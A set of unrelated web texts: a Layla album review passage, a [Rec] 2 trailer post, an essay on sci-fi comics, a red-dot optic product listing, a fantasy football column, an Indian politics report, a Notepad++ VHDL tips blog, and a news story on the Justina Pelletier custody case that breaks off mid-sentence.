sessions, Dowd took Clapton to see The Allman Brothers, and Clapton tried to steal Duane Allman for the band too. Instead, he had to settle for Allman playing ferociously on 11 of the album’s songs, giving the blues workouts in particular more gas than they might have otherwise had.  Advertisement  Which is good, since those blues workouts dominate Layla. Clapton reached way back into his repertoire for songs like “Nobody Knows You When You’re Down And Out” and “Key To The Highway,” which according to his autobiography he’d been playing since before he joined The Yardbirds. As he did with Cream, Clapton stretched out on the classics, except he wasn’t trying to overpower the listener anymore; he and the Dominos were just enjoying the moment, in no hurry to see it end. In the songs Clapton co-wrote with Whitlock—like the easygoing album-opener “I Looked Away” and the exuberant “Keep On Growing”—the Dominos show what they learned from their time on the road with Delaney & Bonnie. The music is loose and rootsy, designed to give off a pleasurable buzz.  It’s this mode of the Dominos that Clapton carried into the live performances and the second-album material on the Layla reissue. The live tracks are funky and jammy, even when the band tackles poppier non-Dominos Clapton songs like “Let It Rain” and “Presence Of The Lord.” The songs for the unreleased record—like the stormy “Evil” and the acoustic “One More Chance”—are even more steeped in country-blues than the music on Layla. When Clapton dissolved Cream, part of him wanted to go back to being a talented journeyman, playing alongside the likeminded. With Derek And The Dominos, he almost got his wish.  But traditionalism and a happy-dudes-hanging-out vibe are only part of the legend of Derek And The Dominos and Layla. The band’s story can’t be told without acknowledging the rampant drug use, which quickly shaded into abuse once heroin entered the mix. Derek And The Dominos fell apart because Clapton was often in too rough a shape to play, which left Whitlock in the lurch and wrecked their friendship. Later, Radle’s various addictions caused the kidney infection that killed him in 1980, while Gordon was institutionalized in the mid-’80s after he had a psychotic break and killed his mother with a hammer. (Allman, who was never an official member of the band, died in a motorcycle accident in 1971, before sessions for the second album began.)  Advertisement  As for Layla And Other Assorted Love Songs, it’s rightly hailed as one of the best albums Clapton ever made, though it doesn’t have the arc of a great album. Because of the jams, it was originally spread across four LP sides, with sides two and three each containing only three songs; but on CD it all fits on one disc, and the sequencing doesn’t have any particular flow or build. And yet it still works as a concept album of a kind. When Clapton formed the Dominoes and recorded Layla, he was smitten with Pattie Boyd, the wife of his friend George Harrison. Much of the album was written with her in mind, and even covers like “Have You Ever Loved A Woman” and “It’s Too Late” are not-so-coded expressions of Clapton’s unrequited affection.  Clapton’s covert mission to win Boyd’s heart through music also partly explains the album’s swagger. He gets sensitive and self-lacerating with the Eastern-influenced ballad “I Am Yours” and the aching “Bell Bottom Blues”—the latter being the most Clapton-y song on Layla besides “Layla”—but he also gives the band’s cover of Jimi Hendrix’s “Little Wing” a weirdly triumphant air for a song that’s so wistful in its original form. Though Clapton craved anonymity after Cream, the part of him that believed he was unassailably the best young blues guitarist in Britain didn’t just disappear overnight.  So while on the surface “Layla” sounds like an outlier on the album that bears its name, deep in its bones, the song is the album. It’s the modern blues: a raw howl from a man desperately in love. And it’s his way of showing off. “Why don’t you love me,” the song seems to ask, “When I can do this?”
-Must Watch: First Insane Teaser Trailer for [Rec] 2!  Holy shit! That was my reaction to this teaser. The original [Rec], which was remade into Quarantine last year and is finally coming out on DVD in July, is somewhat of a cult classic amongst horror fans. The same two guys who made the original, Spanish filmmakers Jaume Balagueró and Paco Plaza, decided to make a sequel. Just wait until you see what they've got in store for all you [Rec] fans in this. Below you'll find the first teaser trailer for [Rec] 2 and it's insane, you'll see what I mean momentarily. Don't watch this at home in the dark and don't watch this with kids around, you'll traumatize them for life. That's my only warning.  Watch the first teaser trailer for [Rec] 2:  [flv:https://media2.firstshowing.net/firstshowing/rec2-teaser-trailer.flv https://media2.firstshowing.net/firstshowing/rec2-teaser-trailer.jpg 502 282]  Thanks to our friends at ShockTillYouDrop for first discovering this teaser. It looks like this is a direct continuation of the story in [Rec], with a squad busting in to kill everything that's left in the same building.  [Rec] 2 is both written and directed by Spanish filmmakers Jaume Balagueró (The Dark, Fragile) and Paco Plaza (Second Name, Werewolf Hunter), who worked together to direct the first [Rec]. In addition to Balagueró and Plaza, writer Manu Díez worked on this screenplay as well. [Rec] 2 is shot and ready to go, but doesn't have a US distributor yet. We'll let you know when or if it plays at any film festivals this year.  1 Nick Sears on Jun 3, 2009  2 gfror on Jun 3, 2009  3 PinkSushi on Jun 3, 2009  4 Papichulo on Jun 3, 2009  5 frenchbob on Jun 3, 2009  6 d on Jun 3, 2009  7 PinkSushi on Jun 3, 2009  8 finch on Jun 3, 2009  9 TediusTed on Jun 3, 2009  10 miracle disease on Jun 3, 2009  11 george on Jun 3, 2009  12 Widescreen Wonderland on Jun 3, 2009  13 jh on Jun 3, 2009  14 MovieKid10 on Jun 3, 2009  15 Dan W on Jun 3, 2009  16 Matt Suhu on Jun 3, 2009  17 DoomCanoe on Jun 3, 2009  18 erik on Jun 3, 2009  19 Trey on Jun 3, 2009  20 Dusty on Jun 3, 2009  21 Toucmyinfection on Jun 3, 2009  22 cat on Jun 3, 2009  23 harrison on Jun 3, 2009  24 K on Jun 3, 2009  25 Nick on Jun 3, 2009  26 Kevin on Jun 3, 2009  27 chrisUK on Jun 3, 2009  28 lalolamx on Jun 3, 2009  29 shitbreath on Jun 3, 2009  30 poopnose on Jun 3, 2009  31 xerxex on Jun 3, 2009  32 namsterr on Jun 3, 2009  33 tankmaster on Jun 3, 2009  34 johnnyc on Jun 3, 2009  35 JBiz on Jun 3, 2009  36 GTO on Jun 3, 2009  37 johnnyc on Jun 3, 2009  38 jillinthebox on Jun 3, 2009  39 Dan Walimaa on Jun 3, 2009  40 wm on Jun 3, 2009  41 subzeron on Jun 3, 2009  42 GTO on Jun 3, 2009  43 JimD on Jun 4, 2009  44 JimD on Jun 4, 2009  45 M* on Jun 4, 2009  46 SuicidalOptimist on Jun 4, 2009  47 Johnny Neat on Jun 4, 2009  48 David Banner on Jun 4, 2009  49 MiKeDeEz on Jun 4, 2009  50 Alberto on Jun 4, 2009  51 Dan on Jun 4, 2009  52 MiKeDeEz on Jun 4, 2009  53 Fercho on Jun 4, 2009  54 Greek God on Jun 4, 2009  55 Dan on Jun 4, 2009  56 johnnyc on Jun 4, 2009  57 Mario on Jun 4, 2009  58 Nick on Jun 4, 2009  59 zetsu on Jun 4, 2009  60 cine_phil on Jun 4, 2009  61 mrmr on Jun 4, 2009  62 ezza72 on Jun 5, 2009  63 kevjohn on Jun 5, 2009  64 Fran on Jun 6, 2009  65 neonblue120 on Jun 7, 2009  66 leyton on Jun 9, 2009  67 daniel on Jun 15, 2009  68 Golden rule on Sep 14, 2009  Sorry, no commenting is allowed at this time.
-My favorite comic book from the last few years is an ongoing epic about warring alien planets and star-crossed lovers on the run. Called Saga, it has everything you'd expect from a good space opera, including plenty of sex and lots of violence. But there are also spaceships that grow like trees, aliens with analog televisions for heads, and a talking cat that knows when you're lying. It's Star Wars on LSD, and it's amazing.  Science fiction has seen a resurgence of late thanks in large part to Hollywood. Some of the top-grossing movies from the last two years include a story about an astronaut trapped in space and a mind-bending tale about wormholes, not to mention the best Marvel movie in years. And games are making the shift too, with huge, heralded new franchises like Titanfall and Destiny both launching this year. Even the classic Civilization has moved into space.  These experiences can be awe-inspiring, thanks to ridiculously expensive special effects that give us a glimpse of what the future could look like. But the same thing that makes these movies and games so great can also hold them back: when it costs millions of dollars to make something, companies want to minimize the risk. And often that means playing it safe.  Saga  It's the reason why Destiny's fascinating and beautiful world was wrapped around a repetitive and often dull game. It's also why comic book sci-fi continues to be so great: without the restraints of a budget or technology, creators are free to create whatever they like. (Sci-fi novels can be great too, but they don't have that same visual punch that comes from seeing a really well-designed spaceship or cool-looking alien species.)  Saga, created by writer Brian K. Vaughan and artist Fiona Staples, is perhaps the best example of this. While its basic structure is what you'd expect from an epic sci-fi tale, it's also one of the weirdest things you'll ever read. The more conventional set-up, which is essentially Romeo and Juliet in space, lets the series get away with some of its crazier elements. The main characters are pretty normal people, except for the fact that some have ram-like horns and others are horribly mutilated apparitions. And Vaughan, who has also worked as a writer in both film and television, seems to revel in the fact that he can do whatever he pleases with Saga. "If anything, I started writing the series out of frustration with what I couldn't do in any other media," he says.  "I started writing the series out of frustration with what I couldn't do in any other media."  Saga is far from the only example. Another Vaughan series, The Private Eye created with artist Marco Martin, envisions a strange future where the internet doesn't exist, yet people are even more obsessed with privacy than they are now. Trees, from Warren Ellis and Jason Howard, takes place on a future version of Earth where unexplained, towering alien artifacts have appeared all over the world. These structures do nothing (at least so far), yet their effect on the population is immense. Meanwhile, the newly launched ODY-C from Matt Fraction and Christian Ward is a psychedelic, space opera take on the story of Odysseus, with art that looks ripped from a 1970s album cover. "It just gets crazier from here," the creators promise at the end of the first issue.  Those are just a few examples, and they're all very different. They're also able to tackle elements of their stories in ways that movies or games just can't, whether it's due to budgets, audience, or technology. In ODY-C, for instance, there's a spaceship where the cockpit resembles a giant pink womb. The Vertigo series FBP takes place in a world where the laws of physics change and shift just like the weather. And in Universe, a brand new series from Spanish writer and artist Albert Monteys, a corporation travels back in time so that it can trademark the building blocks of life. Imagine the special effects budget you'd need to pull some of that stuff off. Video games are getting closer, as something like the ambitious No Man's Sky can be built by a handful of people, but in comics all you need is one talented artist to pull it off.  ODY-C  And it's more than just the technology and science. While a director as big as Ridley Scott claims his biblical epic Exodus could only be made if it starred famous white actors, these comics feature characters from basically every race, gender, and background — and they're in important roles, not just in the background. Trees has several prominent trans characters, and the most badass fighters in Saga are moms. In ODY-C, all of the characters have literally been gender-swapped, so that all of the important people from Odysseus' life are now women. In the most recent issue of The Woods, a great series about a bunch of high school students mysteriously transported to an alien planet, a gay black kid is on the cover.  Creative freedom leads to some amazing sci-fi  What ties many of these books together is that few of them are published by Marvel or DC, the two big companies in comics (the exception being Vertigo, a DC offshoot that specializes in crazier fare like FBP). Some are self-published online, others come from smaller companies, but the vast majority come from Image Comics. Image's most important characteristic is that each series is owned by its creators, not the publisher. This has led to breakout hits like Spawn and The Walking Dead, and it turns out that creative freedom leads to some amazing sci-fi. Saga is the biggest name, winning the Eisner awards for Best Writer and Best Continuing Series in both 2013 and 2014, but new series like ODY-C and the upcoming Bitch Planet have generated plenty of interest. Whereas big-budget productions usually need to worry about what will work with an audience, a creator-owned comic is free to try brand new things.  "If you're curious what kinds of sci-fi movies and shows Hollywood will be making in 10 or 15 years," says Vaughan, "I'd look at what Image is publishing today."
-Always ready and always on, the Aimpoint PRO Patrol Rifle Optic provides 2 minutes of angle red dot for accurate target engagement at all distances.  A hard-anodized 30mm tube was utilized, enclosing a high efficiency circuit that allows the Aimpoint Pro to be turned on and left on for up to three years using a single battery. The front lens utilizes a unique band-pass coating, which allows the sight to be used with all generations of night vision devices. The modular QRP2 mount includes a removable spacer that indexes the sight at the optimal height for co-witness with the standard iron sights on AR15/M16/M4 Carbine style weapons. This spacer can be removed to enable the use of the sight on police shotguns or sub-machineguns. The QRP2 mount also incorporates a torque-limiting twist knob that provides the optimal level of pressure on the rail while completely eliminating the possibility of over-tightening.  Both the front and rear lenses are recessed within the sight body to provide protection against impact damage, scratches, and fingerprints. Flip covers are included on the Aimpoint Pro to further protect the lenses, and a transparent rear lens cover is utilized allowing the user to engage a target with the lens covers closed in an emergency situation. A two Minute of Angle (2 MOA) red dot is utilized to allow maximum accuracy at all distances and under all environmental conditions.  2 minutes of angle red dot for accurate target engagement at all distances  In service date and battery change date reminders makes inventory tracking and maintenance easy  Enhanced speed on target and increased first shot hit probability when compared to iron sights and magnified scopes  Compatible with all generations of night vision devices and may be used with Aimpoint 3X Magnifier and Concealed Engagement unit  Hard anodized aluminum alloy housing. Rugged enough for real world conditions and waterproof to 150 feet  Threaded front lens opening allows use of screw-in-anti-reflection device (ARD)  Standard Picatinny Rail & Spacer for AR15/M4 Carbine application included  More Features of the Aimpoint Pro  Front and rear flip covers keep lenses clean  Transparent rear flip cover allows use of the sight (with both eyes open) even with both covers closed in an emergency  Battery and adjustment cap retainer straps means you will never lose your pieces  Modular mount set up for use on flat-top AR15, M4 Carbine and M16 rifles. (Adapter available for carry handle mounting)  Removable spacer. Remove for use on shotguns and sub-guns  QRP2 rail grabber mount. Snap knob three times for a perfect mount. Will not deform your rail like many other mounts  Recessed lens openings helps prevent against impact damage, fingerprints and scratches  Standard features for all Aimpoint® sights  Unlimited field of view  Parallax-free and unlimited eye relief  Unaffected by extreme weather conditions  Rugged, durable construction  No hazardous materials  No laser emission that could be harmful to your eyes  Increased aiming confidence  CLICK HERE FOR OPTIC DATA & SPECIFICATIONS +
-Is it a good sign when you spend most of Monday night looking at hot coaching prospects for the coming season? Because really, that's one of the few things you have to look forward to as a Bears fan right now. I always like to say the right thing, and believe the 14-game winning streak starts against the Cowboys on Sunday night. I'd like to believe that much in the same way I'd like to believe Katy Perry's marriage to Russell Brand didn't work out because she's waiting around to see if I'll ever be single again.  And really, there is nothing sadder than having hope headed into a Monday night game, only for the Bears to perform the way that they did. It's the kind of thing that might make me consider jumping to the Los Angeles Rams. (You can read my words about being a Rams fan in the 1990s right here, or the diary of me being at the Los Angeles Memorial Coliseum for the Rams' first 2016 home game right here if you like. But I'll give you the short version. Me being a Bears fan has warmed my family's heart way too much to ever think of leaving them ever. Although I will be super tempted if the Raiders move to Las Vegas. I mean come on, an NFL stadium on the Strip? Sign me up. I'm also a UNLV football fan, so it would make for great synergy. Similarly to the way I supported both the Rams and Angels who played in the same stadium. Speaking of which, I miss the multi-purpose stadiums. They had more character back then.)  But Monday night was pretty sad. Even the trolls on Twitter pulled off after a while. I mean, they knew I had eyes and could see what happened on the field. Although the team looked pretty good in the first half. Carson Wentz did drive the team down the field a few times, but just got field goals. It wasn't until injuries and turnovers really put the Bears behind the eight-ball. But hot damn, it looked like Doug Pederson had just out-coached John Fox. I really wonder if the Broncos win in last year's Super Bowl really took the wind out of Fox's tail (super hacky, but sue me). Like that Broncos group could have been his team. It was his team. He could have overseen that Broncos team winning the Super Bowl. It's not like Gary Kubiak suddenly became a Bill Belichick-level genius or something.  Poor Fox. If he retires after this season, I'll be super excited he did it after Adam Gase walked away. I mean, I wouldn't have wanted some sort of Dick Vermeil situation where you retired a coach to promote the offensive coordinator like the St. Louis football club did with Mike Martz. But it's not like Fox won a Super Bowl with this team, either. But it would have been cool to keep Gase. But that's unfair to speculate right now. Because that winning streak is right around the corner!  One other takeaway from Monday was Wentz. A lot of people have wondered if he will now be a viable option in fantasy. Yeah dude, he scored like 16 points on Monday night. Actually, it was 14.6 points. It wasn't like he torched the Bears. He was fine. Plus, Matt Ryan was available in 70 percent of fantasy leagues on Tuesday night. And he has a matchup against the Saints. You can pick up quarterbacks along the way.  Actually, Ryan would be a guy I would turn to this week. He's got a great matchup. Even though Ryan is the Anne Hathaway of the NFL. He looks super-hot at times, and then just regrettable other times (I know it was for a role, but "Les Miserables"). Actually, she still looked good there, too. Maybe I'm thinking of Hilary Swank.  In any event, consistency has never been Ryan's strong suit. And beware, he does have a matchup against the Panthers in Week 4. So you don't want to drop your current starter for him. It might be best to stick with your current option, like Matthew Stafford. But if you started Cutler in your fantasy league last week, maybe you should find a new hobby.  And I realize as I'm writing this right now I'm dooming Ryan to a stat line of 187 passing yards, a touchdown and two interceptions because FOOTBALL.  Rank's 11 Sleepers, Week 3  Rank's 11  QB: Matt Ryan, Atlanta Falcons  QB: Marcus Mariota, Tennessee Titans  RB: Dwayne Washington, Detroit Lions  RB: Dexter McCluster, San Diego Chargers  WR: Quincy Enunwa, New York Jets  WR: Michael Thomas, New Orleans Saints  WR: Phillip Dorsett, Indianapolis Colts  WR: Tajae Sharpe, Tennessee Titans (this is the last time, folks)  TE: Jared Cook, Green Bay Packers  TE: Coby Fleener, New Orleans Saints  D/ST: Miami Dolphins  Dwayne Washington, RB, Detroit Lions  He made the list of Dumpster Dive players we highlighted on "Fantasy and Friends" last week because he took a lot of the goal-line work. Now he's taking added importance because Ameer Abdullah was placed on IR with a foot injury. (You can dump Abdullah now.) Obviously, some will want to turn to Theo Riddick, but he already has an established role on the team. Washington will get the early-down work. The problem this week is he has the Packers, who have been very tough on the run so far this season. So I see a big Riddick game this week, but Washington is clearly the hot add.  Dexter McCluster, RB, San Diego Chargers  It would be foolish to believe just anybody could come in and take Danny Woodhead's spot, but don't forget Ken Whisenhunt had a special fondness for McCluster in Tennessee. That should also help speed his transition to San Diego. I got a good Twitter recommendation for a burrito place in San Diego the other day, too. I talked about Sombrero, which might or might not have been ruined by the Blink 182 song "Josie" but if somebody could send that along again, I would appreciate it. Again, in the interest of helping along McCluster's transition.  Quincy Enunwa, WR, New York Jets  Not too much of a sleeper after another solid game on Thursday Night Football. But he becomes an instant starter if Brandon Marshall can't go this week. The thing that really bums me out is he should count as a tight end. Have you seen the size of this guy? I even had some dude on Twitter bemoan the fact he wasn't available as a tight end and I need to jump on that bandwagon.  Michael Thomas, WR, New Orleans Saints  Thomas is slowly coming along for the Saints. He's had some nice games but has yet to get into the end zone. Hey, that sounds like Odell Beckham Jr.! But I do like the matchup this week against the Falcons. Well, I mostly like the fact that the Saints defense can be picked apart. Don't get caught up in Eli Manning failing to get into the end zone. That's so Eli. I do like the 368 yards he put up. Matt Ryan could reach that number. Which means the Saints will have to throw to catch up. But here is something I saw this week:  5 players with double digit targets and 90%+ completion rate:  T Benjamin 93%  Q Enunwa 93%  S Shepard 92%  M Thomas 91%  T Riddick 90% — Jersey Jen (@FFdeJENerate) September 20, 2016  So that also bodes well for Enunwa. I like it.  Jared Cook, TE, Green Bay Packers  Cook has ruined us all season long. Well, two games. But that's still all season. I say you give him another chance because of the Doyle rules. The rule any tight end can make a name for himself in fantasy circles because the Lions can't stop a tight end. The Lions have allowed the most fantasy points to tight ends this season. An average of 21.95 points to tight ends. The next closest competitor is the Falcons with 15.90 (hey, you can start Coby Fleener again). So if you want to give Cook one last chance, I won't stop you.  Be sure to watch "Fantasy and Friends" at 6 p.m. ET on NFL Network, Monday-Wednesday and Friday. (Sorry, the Thursday night game preempts us.) But you can be a part of the show by going to NFL.com/fantasyandfriends. Also follow Adam Rank on Twitter @adamrank.  Follow Adam Rank on Twitter @adamrank
-New Delhi: The exit of senior leaders Yogendra Yadav and Prashant Bhushan from the Political Affairs Committee (PAC) and the National Executive of the Aam Aadmi Party is almost certain. If sources close to the latest developments are to be believed, a formal announcement is expected any time soon. Both are top decision-making bodies of the party.  “AAP’s national convenor Arvind Kejriwal wants both Bhushan and Yadav out of the PAC and the National Executive and he has already made it clear that the party will have to decide between him and the duo. A formal announcement in this regard will be made at a meeting on Wednesday,” a party insider told Firstpost.  According to the source, while Kejriwal has problems with Bhushan, his close associate and deputy chief minister of Delhi, Manish Sisodia, is not comfortable with Yadav.  In a letter dated 26 February, Bhushan had slammed Kejriwal for “overturning collective decisions of the party” and “compromising basic principles” of the political outfit. He had written that the AAP is also adopting a “one-man-centric approach” like other traditional parties.He also accused the party’s leaders of making ‘’surreptitious” efforts to form the government in Delhi with Congress support before the dissolution of the last assembly, despite public posturing to the contrary.  “We must also recognise that we have faltered on several counts… We have not even put our accounts on a website. We have put our donations, but not expenses,’’ he wrote.  Earlier, his father Shanti Bhushan, one of the founding members of the party, had said that Kejriwal should not hold two posts – that of the national convenor of the party and chief minister.  On February 26, Kejriwal had offered to resign as national convenor but it was rejected. It was followed by a move to empower him to reconstitute the PAC, paving the way for the exit of Yadav and Bhushan from the political decision-making processes.  Recollecting the real problem between Yadav and Sisodia, a party source said, “The rift within the party deepened after Yadav walked out of the PAC meeting held in January this year called for candidate selection ahead of polls. He was expressing his displeasure at a few ticket aspirants close to Manish Sisodia but it was ignored."  "Kumar Vishwas and Ilyas were sent to mediate with Yadav. In the mean time, Sisodia moved a motion requesting the PAC to sack the Yadav-Bhushan duo as they ‘were creating troubles and wanted to impose their ideology on the party’s decision’,” the source who was present in the meeting told Firstpost.  The ugly fight between the AAP factions came out in the open in June last year with the emergence of a letter from Sisodia to Yadav in which the former had accused him of fomenting 'factional fights' within the party and gunning for AAP chief Arvind Kejriwal.  "In fact, Sisodia wants full control over the party and does not want people like Yadav and Bhushan who carry an ideological baggage with them," he said.  Both Yadav and Bhushan have offered to quit the PAC but have drawn the 20-member panel’s attention to their demands for organisational reforms.  "Yogendraji wants more frequent meetings of bodies like the National Executive and transparency should be reflected in all decision-making bodies of the party,” the source added.  Several attempts to contact Bhushan and Yadav failed because they did not respond to calls.  Now, the infighting within the party has intensified to the extent that leaders are openly trading charges against each other.  Party spokesperson Ashutosh tweeted on Monday, “There is decisive churning in AAP. It's clash of ideas between ultra left who demand referendum in Kashmir and pragmatic politics of welfarism.”  The charge seemed to be directed at Yadav and Bhushan, who are known for their pro-Left views. The latter had earlier advocated that the government should hold a referendum in Kashmir to resolve the issues of the valley.  Another damning remark came from party leader Dilip Pandey who alleged that Prashant Bhushan, his father Shanti Bhushan and Yogendra Yadav provided patronage to the Aam Aadmi Volunteers Morcha (AVAM), a body floated by disgruntled AAP members.  “The trio (Yadav and Bhushans) facilitated the formation of an anti-party forum called AVAM. There is substantial proof to show that Shanti ji and Prashant gave legal and all other kinds of assistance to AVAM to carry out activities against the AAP,” he said in a letter to the party.  “Regular meetings between AVAM members and the trio were held at Bhushans’ residence. When party members like Khetan pleaded with the Bhushans’ to stop supporting AVAM, they were told by Prashant that for him AVAM was like a trade union within the party and he saw nothing wrong in aiding and assisting AVAM,” he added.  Another party leader, Sanjay Singh, said on Monday that, “Attempts are being made to remove Arvind Kejriwal. People in the party have made a joke of us.”  Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.
-Unless you're still living in the '90s and using schematics, your FPGA designs are entered into text files as VHDL or Verilog source. Which, of course, implies you're using some form of text editor. Now, right after brace placement in C, the choice of an editor is the topic most likely to incite a nerd civil war (it's a bike-shed issue). I won't attempt to influence your choice because it really makes no difference to me. But if you are using the same editor I do, then maybe I can help you use it more efficiently.  A poll on HDL editor popularity shows that Emacs is the winner by a wide margin with a 31% share, while vim and Notepad++ are tied at around 15% each. The remaining 39% is split between a hodge-podge of generic and IDE-specific text editors (e.g., the Xilinx ISE and Altera Quartus editors).  Emacs is most popular for good reason. It has powerful add-on packages that make creating and refactoring source code much easier. This includes packages for working with VHDL and Verilog code. It's also been widely ported, so you can use Emacs on just about any OS you'll encounter.  That said, I don't use Emacs. I had my love affair with it in the '90s but it just didn't work out. There were so many keystroke combinations involved in using it that I felt like I was casting strange incantations instead of entering code.  Over a period of years, I drifted through several Windows-specific editors like Zeus and Programmers File Editor. But I finally settled on Notepad++ as my editor of choice. Right out of the box it has:  VHDL and Verilog syntax highlighting.  Code folding.  Block selection and column editing.  Auto indenting.  Configurable hot keys.  That's good, but it could be better. For VHDL and Verilog, I specifically needed templates, automated package declarations, and code beautification. Here's how I got those.  HDL Templates  If you're like me and you do a lot of things in addition to HDL coding, it can be frustrating trying to get all the syntax correct when you enter a new HDL module after being away from it for a while. Having a set of predefined templates for things like entities, functions, processes, etc. provides a strong code skeleton that I can flesh out with the appropriate I/O and signal declarations. Templates also help keep me consistent with the accepted HDL coding style. And filling-in a template is faster than recreating the code each time.  Notepad++ has a long list of plug-ins that extend its features. Several of these plug-ins, FingerText, NppSnippets and SnippetPlus, allow me to name and store blocks of code as snippets that I can later add to new source files with just a few key strokes or mouse clicks.  I chose FingerText because its macro language seems more powerful and flexible. Just typing module and a TAB into a file produces a VHDL entity and architecture with hotspots that the cursor will jump to so I can fill-in the entity name, inputs and outputs. Here is some additional information on using FingerText and a link to my set of VHDL snippets. You can modify and extend these snippets to match your own coding style, or create a new set for Verilog.  Automated Package Declarations  I always like to place a package body at the top of each VHDL file that contains the component declarations for any entities I've defined further down in the file. That makes it easy for me to instantiate these components in other VHDL source files without having to enter the component declaration in multiple places.  However, it's a pain to keep the component declarations in the package sync'ed with their associated entities as the input and output names are changed during development. So I developed a simple Perl script that manages this task for me and linked it to a Notepad++ hotkey. For example, if I enter a few entity-architecture pairs like these:  Then when I hit the hotkey, the following package is generated at the top of the file:  (Naturally, I change the initial NewPckg name to something more meaningful after the script runs.)
-Pictured: The shocking decline of 15-year-old girl 'kidnapped' by doctors nine months ago who her parents claim are using her as a 'guinea pig for medical experiments'  Justina Pelletier, 15, admitted to Boston Children's Hospital nine months ago suffering from flu on suggestion of normal doctor who was away at time  She hasn't returned home since and is locked in psychiatric ward where staff have told her 'she is never going home'  Tufts doctors said she had Mitochondrial Disease but doctors at Boston Children's diagnosed 'Somatoform Disorder' in four days  Somatoform is a rare mental illness where she 'imagines physical pain'  Department for Children and Families handed hospital custody after parents questioned diagnosis even though they claim they had backing of previous doctors  Can only see her family for hour a week and calls home are listened in on  Distraught parents reveal their Kafkaesque nightmare to MailOnline  She is a shadow of her former ice-skating self and can no longer not walk unaided  Like something out of a Kafka novel, Justina Pelletier has been 'disappeared'.  The 15-year-old was admitted to hospital nine months ago suffering from a bout of the flu and has been locked away in a stark psychiatric unit at Boston Children's Hospital ever since with sex abuse victims and children who have self-harmed themselves.  For her devastated parents and her three sisters, her plight is almost too heartbreaking to bear. Unable to contact her beloved family or friends, her every move is monitored.  Everything sacred to a teenager: her phone, iPad, music and collection of pink fluffy toys – has been taken away from her. She can only see her family for one hour a week and calls home are listened in on.  Rapid decline: Justina is pictured left, in 2012, and right, since she has been at Boston Children's Hospital  We miss you: Sitting on Justina's bed at her Connecticut home are her sisters: From left, Julia, Jennifer and Jessica. Jessica, far right, has been diagnosed as having the same Mitochondrial Disease that Justina was being treated for before she was 'kidnapped' after a visit to Boston Children's Hospital with a bout of the flu. Doctors there diagnosed her with a mental condition called Somatoform Disorder instead  Her family say Justina was a vibrant, ice-skating fanatic who loved hiking with her German Shepherd Roxie who she used to sleep with.  Now she is a shadow of her former self. Confined to a hard bed in a starkly furnished room, she can no longer walk unaided. And her family claim that staff have told her that she 'is never getting out'.  Her devastated father, Lou, from West Hartford, Connecticut, told MailOnline: 'The place makes One Flew Over the Cuckoo’s Nest look like a Charlie Brown Peanuts Christmas special.'  Boston Children's Hospital and the Department of Children and Families have refused to comment, citing a gag order imposed by the court.  Justina’s disturbing plight was first revealed last week. Few can grasp how the girl has been taken from her well-to-do, loving family on the apparent whim of doctors on the cutting edge of medical science.  Three years ago Justina was diagnosed with the rare genetic muscle wasting condition Mitochondrial Disease. Her 25-year-old sister Jessica also suffers from it.  Both girls were treated by specialist Dr Mark Korson, at Tufts Medical Center in Boston, a two-and-a-half-hour drive from their home in West Hartford, Connecticut.  Justina needed two surgeries to clear a blockage in her intestines and fit a port, so that her colon could be flushed out daily with a saline solution. She was put on a cocktail of drugs and appeared to be responding well.  Then in February she went down with flu and became dehydrated. Dr Korson was away, and the family took Justina to Boston's Children's Hospital, where she was admitted on February 10.  Justina was admitted on February 10. The next day, her parents went to visit and were confronted by a neurologist and psychiatrist.  'Snatched': Lou and Linda Pelletier were accused of overmedicating their daughter and didn't agree with the diagnosis given by Boston Children's Hospital. All they have ever done is follow the advice of Justina's regular doctors at Tufts, they say. 'We don't know what we have done wrong', Linda sobbed to MailOnline  Putting on a brave face: Lou and Linda are only allowed to visit their daughter once a week for an hour. They are appalled at the conditions she has to live in. Lou said it makes 'One Flew Over the Cuckoo’s Nest look like a Charlie Brown Peanuts Christmas special'  'They told me that Mitochondrial Disease did not exist,' says Lou, a financial planner. 'Instead, they said she had Somatoform Disorder, which is effectively a stress-related mental problem.  'They said she had been misdiagnosed, overmedicated and forced to undergo unnecessary procedures. It was as though they were accusing us of needlessly harming our daughter.'  Three days later staff handed Justina’s mother Linda a list of 'guidelines' for her care that included 'strict limitations' on the family’s involvement and a clause ruling out second opinions.  When Linda objected – and tried to take Justina off to nearby Tufts for a pre-arranged appointment with her regular specialist -- child welfare workers were called in.  Within 24 hours, a judge ruled Justina had to stay at Boston Children’s Hospital and the Massachusetts Department of Children and Families was effectively given custody. The family has been fighting to get her back ever since.  A report, written in April this year by one of the hospital's staff states how doctors took Justina off many of the medications she was taking at the time she was admitted.  'Due to concerns regarding Justina’s regressive behavior changes around her family, the multiple medical procedures and care episodes she has been through … and both parents’ resistance towards recommended treatment plans for Justina … a child protection team was convened,' it read.  'All we ever did was follow our original doctor’s orders,' says 56-year-old Linda, who cries constantly as she tries to explain what happened.  MailOnline has examined documents from Tufts, including a list of prescribed medications. And Lou described at length how he followed instructions to the letter on how to 'flush out' Justina’s colon.  Experts claim one in every 2,000 children in the U.S. suffer from Mitochondrial Disease, which saps energy, causes intestine and organ problems and gets progressively worse with age.  Vibrant: Despite having treatment for mitochondrial Disease the family say Justina was healthy and enjoyed a normal childhood before the dramatic intervention of doctors at Boston Children's  Secret messages: Justina (pictured with sister Julia, 19) has been forced to smuggle out messages to her family in origami. One read: 'I know you trust in me. Don't forget it. I love you more than everything in the world'  The disease is hard to diagnose and, according to the Mito Action support group, parents have been suspected of child abuse and sufferers accused of somatization disorders or fabricating pain.  Meanwhile, Somatoform Disorder is considered to be anxiety-related with sufferers feeling real pain that cannot be medically explained. Between 0.2 and 2 per cent of females and 0.2 per cent of men in the U.S. have been diagnosed as sufferers.  Justina’s family insists she did not have Somatoform Disorder symptoms when she was admitted to Boston Children’s Hospital.  Older sister Jennifer, an ice skating teacher who also competes across the U.S., claims staff appear to be creating the symptoms to fit the diagnosis.  'We’ve been trying to keep her spirits up,' she explains. 'Justina has been planning her homecoming party, she wants a DJ and karaoke and lots of decorations around the pool.'  Justina can't see her family without a welfare supervisor or hospital staff member in the room. Jennifer says that they have had a whispered conversations about her future.  'Justina says psychiatric staff have told her she is never coming home. They have apparently told her not to plan any homecoming parties because she isn't going home. I don't know exactly when or how many times she has been told this but Justina believes she is going to die in there.  'Justina believes she is going to die in there, she won’t be strong enough to make it' Jennifer Pelletier  'I don’t know what they are trying to do to her but they have destroyed her hope and trust. All we have ever wanted for Justina is for her to get better but she is getting worse.  'They say adolescents suffering from Somatoform are depressed, listless and uninterested in school or activities. She used to love school, she spent hours at the ice skating rink with her friends and hiking 